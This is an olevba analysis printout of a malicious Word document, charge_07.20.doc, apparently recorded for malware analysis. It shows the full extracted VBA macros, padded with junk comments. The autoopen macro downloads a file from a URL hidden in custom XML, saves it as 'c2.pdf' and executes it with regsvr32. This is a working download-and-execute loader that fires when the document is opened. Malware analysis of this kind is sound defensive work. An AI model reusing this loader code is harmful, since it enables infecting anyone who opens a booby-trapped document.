charge_07.20.vbs

$ olevba.exe  charge_07.20.doc
olevba 0.55.1 on Python 2.7.18 - http://decalage.info/python/oletools
===============================================================================
FILE: charge_07.20.doc
Type: OpenXML
Error: [Errno 2] No such file or directory: 'word/vbaProject.bin'.
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO nb.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/nb'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function q2(Hx)

' Exalting immorality resolutions snowstorm
' Infirm businesses sent awe-inspiring specially macedonian belle darn
' Old-time overcrowded trained trieste
' Montenegro ruffian untitled

' Legislator concepts ochre
' Tba
' Bostonian mitsubishi pharmacy analyses impervious

' Buddy
' Unlettered permalink bashful
' Implementing watershed republican liturgy kong
' Gorgeous aquatic fires

' Glowered optimal federation melodrama bail

' Ably latina belle
' Tune quebec

' Alias welding royalty
' Cr. grill
' Footpath indigo middlesex fantastic holdem bight
' Denver algeria values
End Function
Sub autoopen()
Lr = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text

' Wan
' Secretion corner appease convoy
' Bankrupt new jamaica jane
' Blackguard lineage hansom viking
' Canon focal hawthorn
' Sunderland anymore pool

' Supernumerary
' Buffeted wrathful
frm.download Lr, "c2.pdf"

' Astounding inspiration mir on
' Declension eth
' Festival liturgy threaded availability elector onset
' Sickened bevis d i
' Unafraid
' Squad warrant

' Poise appendix landscape
' Attestation tonight synopsis foil

' Stuttgart tumor hey
' Mph voluminous

' Software briefly examining hz
' Train lips confessional surgeons
' Canal conrad hand
Shell wu & bn & "32 c2.pdf"
End Sub
-------------------------------------------------------------------------------
VBA MACRO nb1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/nb1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub e4()

' Composed
' Buckle packs atheist mecca
' Harps wrapped
' Starter pro- inundation weird

' Experiment trinidad presidential complimentary own
' Bloodhound carrion article transitory
' Hike
' To material thousands integrating credence verify
' Considered flinty finals

' Athwart editor predilection

' Jp potentially want identity
' Hansom dude extenuation
' Includes fy fragrance amulet

' Intertwined
' Repugnance chase momentum

' Np net viands pasha palliation
' Remove
' Stronger upsetting revelation cognac

' Faculty airports additional broods seeds
' Defunct dunno
' Rap nativity liberating

' Survive zephyr
' Bishop waver dictionary
' Fifty-six remained esquire pin transitional mightnt

' Venezuela abe autem atlanta
' Dormant job turning

' Kentucky buffoon
' Medications outlay cardiff relating
' Sexcam foil
' Pre-

' Cheapest
' Race romania deutschland
' Unexplored durable olympus
' Factor hart

' Upheaval sixty-eight
' Menu masturbating provencal peking tongue-tied tiffany
' Maintained slight ed optimism
End Sub
-------------------------------------------------------------------------------
VBA MACRO e.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/e'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Const wu As String = "reg"
Public Const bn As String = "svr"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Cd As LongPtr, ByVal fa As String, ByVal g3 As String, ByVal co As LongPtr, ByVal Cm As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Cd As Long, ByVal fa As String, ByVal g3 As String, ByVal co As Long, ByVal Cm As Long) As Long
#End If
-------------------------------------------------------------------------------
VBA MACRO frm.frm
in file: word/vbaProject.bin - OLE stream: u'VBA/frm'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |autoopen            |Runs when the Word document is opened        |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Lib                 |May run code from a DLL                      |
|Suspicious|URLDownloadToFileA  |May download files from the Internet         |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+